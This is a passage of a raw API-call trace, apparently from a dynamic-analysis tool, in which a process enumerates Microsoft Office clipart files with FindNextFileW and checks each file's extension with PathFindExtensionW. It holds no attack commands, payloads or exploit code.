out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned=".WMF" [0243.702] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.702] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned=".WMF" [0243.703] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.703] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned=".WMF" [0243.703] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.703] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned=".WMF" [0243.703] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.703] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned=".WMF" [0243.703] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.703] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned=".WMF" [0243.703] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.703] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned=".GIF" [0243.703] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.703] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned=".GIF" [0243.703] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.703] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned=".GIF" [0243.703] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned=".GIF" [0243.704] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned=".WMF" [0243.704] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned=".WMF" [0243.704] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned=".WMF" [0243.704] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned=".WMF" [0243.704] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned=".WMF" [0243.704] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned=".WMF" [0243.704] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned=".WMF" [0243.704] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned=".WMF" [0243.704] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned=".WMF" [0243.705] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.706] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned=".WMF" [0243.706] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned=".WMF" [0243.707] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned=".WMF" [0243.708] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned=".WMF" [0243.709] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned=".WMF" [0243.709] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned=".WMF" [0243.709] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned=".WMF" [0243.709] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned=".WMF" [0243.709] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned=".WMF" [0243.709] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned=".WMF" [0243.709] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned=".WMF" [0243.709] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned=".WMF" [0243.709] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned=".MID" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned=".WMF" [0243.710] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program 